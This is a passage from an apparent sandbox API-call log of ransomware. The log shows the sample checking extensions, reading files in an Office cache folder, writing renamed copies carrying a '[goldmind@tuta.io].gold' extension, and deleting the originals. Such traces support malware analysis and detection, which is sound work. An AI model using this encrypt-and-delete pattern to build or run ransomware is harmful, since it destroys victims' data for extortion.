(in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.549] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.549] SetEndOfFile (hFile=0x184) returned 1 [0034.551] CloseHandle (hObject=0x184) returned 1 [0034.552] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.552] SetEndOfFile (hFile=0x180) returned 1 [0034.552] CloseHandle (hObject=0x180) returned 1 [0034.552] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.553] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.553] lstrlenW (lpString=".doc") returned 4 [0034.553] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.553] lstrlenW (lpString=".docx") returned 5 [0034.553] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.553] lstrlenW (lpString=".pdf") returned 4 [0034.553] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.553] lstrlenW (lpString=".xls") returned 4 [0034.553] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.553] lstrlenW (lpString=".xlsx") returned 5 [0034.553] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.553] lstrlenW (lpString=".ppt") returned 4 [0034.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.553] lstrlenW (lpString=".zip") returned 4 [0034.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.553] lstrlenW (lpString=".rar") returned 4 [0034.553] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.553] lstrlenW (lpString=".bz2") returned 4 [0034.553] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.553] lstrlenW (lpString=".7z") returned 3 [0034.553] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.553] lstrlenW (lpString=".dbf") returned 4 [0034.553] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.553] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.553] lstrlenW (lpString=".1cd") returned 4 [0034.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.554] lstrlenW (lpString=".jpg") returned 4 [0034.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.554] lstrlenW (lpString=".doc") returned 4 [0034.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".docx") returned 5 [0034.554] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.554] lstrlenW (lpString=".pdf") returned 4 [0034.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".xls") returned 4 [0034.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".xlsx") returned 5 [0034.554] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.554] lstrlenW (lpString=".ppt") returned 4 [0034.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.554] lstrlenW (lpString=".zip") returned 4 [0034.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.554] lstrlenW (lpString=".rar") returned 4 [0034.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".bz2") returned 4 [0034.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".7z") returned 3 [0034.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.554] lstrlenW (lpString=".dbf") returned 4 [0034.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.554] lstrlenW (lpString=".1cd") returned 4 [0034.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.554] lstrlenW (lpString=".jpg") returned 4 [0034.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.554] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.554] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0034.554] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.555] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1450) returned 1 [0034.555] CloseHandle (hObject=0x180) returned 1 [0034.555] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0034.555] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.555] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.555] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.556] GetLastError () returned 0x0 [0034.556] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5aa, lpOverlapped=0x0) returned 1 [0034.557] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.557] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.557] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf6, lpOverlapped=0x0) returned 1 [0034.558] SetEndOfFile (hFile=0x184) returned 1 [0034.558] CloseHandle (hObject=0x184) returned 1 [0034.558] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.558] SetEndOfFile (hFile=0x180) returned 1 [0034.559] CloseHandle (hObject=0x180) returned 1 [0034.559] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.559] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0034.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.559] lstrlenW (lpString=".doc") returned 4 [0034.559] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.559] lstrlenW (lpString=".docx") returned 5 [0034.559] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.559] lstrlenW (lpString=".pdf") returned 4 [0034.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.559] lstrlenW (lpString=".xls") returned 4 [0034.560] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".xlsx") returned 5 [0034.560] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.560] lstrlenW (lpString=".ppt") returned 4 [0034.560] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.560] lstrlenW (lpString=".zip") returned 4 [0034.560] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.560] lstrlenW (lpString=".rar") returned 4 [0034.560] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".bz2") returned 4 [0034.560] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".7z") returned 3 [0034.560] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.560] lstrlenW (lpString=".dbf") returned 4 [0034.560] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.560] lstrlenW (lpString=".1cd") returned 4 [0034.560] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.560] lstrlenW (lpString=".jpg") returned 4 [0034.560] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.560] lstrlenW (lpString=".doc") returned 4 [0034.560] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".docx") returned 5 [0034.560] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.560] lstrlenW (lpString=".pdf") returned 4 [0034.560] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".xls") returned 4 [0034.560] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".xlsx") returned 5 [0034.560] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.560] lstrlenW (lpString=".ppt") returned 4 [0034.560] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.560] lstrlenW (lpString=".zip") returned 4 [0034.560] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.560] lstrlenW (lpString=".rar") returned 4 [0034.560] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".bz2") returned 4 [0034.560] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.560] lstrlenW (lpString=".7z") returned 3 [0034.560] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.561] lstrlenW (lpString=".dbf") returned 4 [0034.561] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.561] lstrlenW (lpString=".1cd") returned 4 [0034.561] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.561] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0034.561] lstrlenW (lpString=".jpg") returned 4 [0034.561] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.561] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.561] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0034.561] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.562] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1450) returned 1 [0034.562] CloseHandle (hObject=0x180) returned 1 [0034.562] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0034.562] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.562] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.562] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.563] GetLastError () returned 0x0 [0034.563] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5aa, lpOverlapped=0x0) returned 1 [0034.564] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.564] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.564] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf4, lpOverlapped=0x0) returned 1 [0034.564] SetEndOfFile (hFile=0x184) returned 1 [0034.564] CloseHandle (hObject=0x184) returned 1 [0034.565] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.565] SetEndOfFile (hFile=0x180) returned 1 [0034.566] CloseHandle (hObject=0x180) returned 1 [0034.566] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.566] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.566] lstrlenW (lpString=".doc") returned 4 [0034.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".docx") returned 5 [0034.566] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.566] lstrlenW (lpString=".pdf") returned 4 [0034.566] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".xls") returned 4 [0034.566] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".xlsx") returned 5 [0034.567] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.567] lstrlenW (lpString=".ppt") returned 4 [0034.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".zip") returned 4 [0034.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.567] lstrlenW (lpString=".rar") returned 4 [0034.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString=".bz2") returned 4 [0034.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString=".7z") returned 3 [0034.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".dbf") returned 4 [0034.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".1cd") returned 4 [0034.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".jpg") returned 4 [0034.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".doc") returned 4 [0034.567] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString=".docx") returned 5 [0034.567] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.567] lstrlenW (lpString=".pdf") returned 4 [0034.567] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString=".xls") returned 4 [0034.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString=".xlsx") returned 5 [0034.567] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.567] lstrlenW (lpString=".ppt") returned 4 [0034.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".zip") returned 4 [0034.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.567] lstrlenW (lpString=".rar") returned 4 [0034.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString=".bz2") returned 4 [0034.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString=".7z") returned 3 [0034.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".dbf") returned 4 [0034.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".1cd") returned 4 [0034.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0034.567] lstrlenW (lpString=".jpg") returned 4 [0034.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.568] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.568] lstrlenW (lpString="Setup.xml") returned 9 [0034.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.568] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1608) returned 1 [0034.568] CloseHandle (hObject=0x180) returned 1 [0034.568] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.568] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.568] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.568] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.568] GetLastError () returned 0x0 [0034.568] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x648, lpOverlapped=0x0) returned 1 